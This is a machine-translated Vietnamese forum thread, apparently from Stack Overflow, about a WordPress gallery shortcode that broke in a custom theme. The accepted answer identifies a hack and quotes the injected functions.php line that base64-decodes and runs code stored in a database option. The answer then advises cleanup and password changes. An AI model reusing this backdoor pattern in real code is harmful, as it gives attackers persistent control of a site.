2015-07-07 22 views
10

Mọi thứ đều ổn, cho đến khi cập nhật gần đây. [gallery] không hiển thị hình ảnh nữa và có vẻ như nó không có trong mã.Mặc định Wordpress [gallery] không hiển thị trong chủ đề tùy chỉnh

Đây là vòng lặp cho page:

<?php 
    // Start the loop. 
    while (have_posts()) : the_post();?> 
     <article id="post-<?php the_ID(); ?>" <?php post_class(); ?> role="article"> 
      <h1 class="entry-title"><?php the_title(); ?></h1> 
       <div class="entry-content"> 
        <?php the_content(); ?> 
       </div><!-- .entry-content --> 
     </article><!-- #post-<?php the_ID(); ?> --> 
<?php 
    // End the loop. 
    endwhile; 
?> 

chữ nội dung từ the_content được hiển thị, nhưng [gallery], mà là ở nội dung, không hiển thị cũng không làm cho thành mã (vì vậy vấn đề không phải ở trong javascript).

Và đây là file functions.php: http://pastebin.com/vfJpphgt (hỗ trợ theme có, tôi đã bổ sung cho bộ sưu tập nhưng không có thay đổi)

+0

Có thể xóa bộ lọc nội dung đang ngừng mã ngắn hoạt động không? Dòng 45 trong functions.php –

+0

Ngoài ra nếu bạn thêm Sau khi "the_content" có hoạt động không? –

+0

@ScottAnderson 1.) lọc nội dung -> không thay đổi 2.) do_shortcode không hoạt động, không có đầu ra của thư viện trong trang. Shortcodes khác như hình thức liên lạc vv đang làm việc ok, vì vậy tôi không nghĩ rằng đó là một vấn đề của shortcodes thường –

Trả lời

1

trang web đang Bạn đã bị hack.

Dòng cuối cùng của pastebin đang tải mã độc từ cơ sở dữ liệu của bạn: add_action('init', create_function('', implode("\n", array_map("base64_decode", unserialize(get_option("wptheme_opt")))))); ?>

Các thực thi mã sẽ mess lên WPQuery để lấy các tập tin media Gallery của bạn. Đó là lý do tại sao [gallery] bị hỏng. (Trên thực tế bạn có thể may mắn về phần đó.)

Bạn có thể tìm thấy mục nhập về phần mềm độc hại này tại sucuri.net. Bạn nên kiểm tra tất cả các tệp của mình trên máy chủ cho dòng đáng ngờ. Mặc dù đường tấn công có khả năng nhất là thông qua lỗ hổng WordPress, bạn nên thay đổi tất cả mật khẩu của mình trong WordPress và trên máy chủ.

SAU KHI bạn đã xóa phần mềm độc hại, bạn có thể xóa WordPress của mình bằng các công cụ như Wordfence (Tôi không có liên kết với plugin hoặc tác giả của plugin).

+0

Thưa bạn, bạn là một bậc thầy thực sự! Nó hoạt động như một say mê! Cảm ơn nhiều! –

+0

Bản sửa lỗi cho lỗ hổng WP có thể được sử dụng để lấy mã độc hại là [phát hành ngày hôm nay] (https://wordpress.org/news/2015/08/wordpress-4-2-4-security-and-maintenance- giải phóng/). – mrgrain

-1

làm bạn thấy bất kỳ lỗi javascript trong giao diện điều khiển? và những gì là đầu ra của

<?php echo do_shortcode('[gallery]');?> 
+3

điều này có vẻ tốt hơn dưới dạng nhận xét chứ không phải là câu trả lời – SaganTheBest

+0

vì tôi có danh tiếng dưới 50 tôi không thể nhận xét trực tiếp về câu hỏi. – atinder

1

cố gắng để cài đặt plugin NextGen Gallery, thêm những hình ảnh bộ sưu tập, và cố gắng để hiển thị trên trang chủ,

https://wordpress.org/plugins/nextgen-gallery/ 
+0

Cảm ơn câu trả lời của bạn, không may, tôi cần phải sửa mã short gallery cơ bản, không thêm một plugin gallery nào khác. –

Các vấn đề liên quan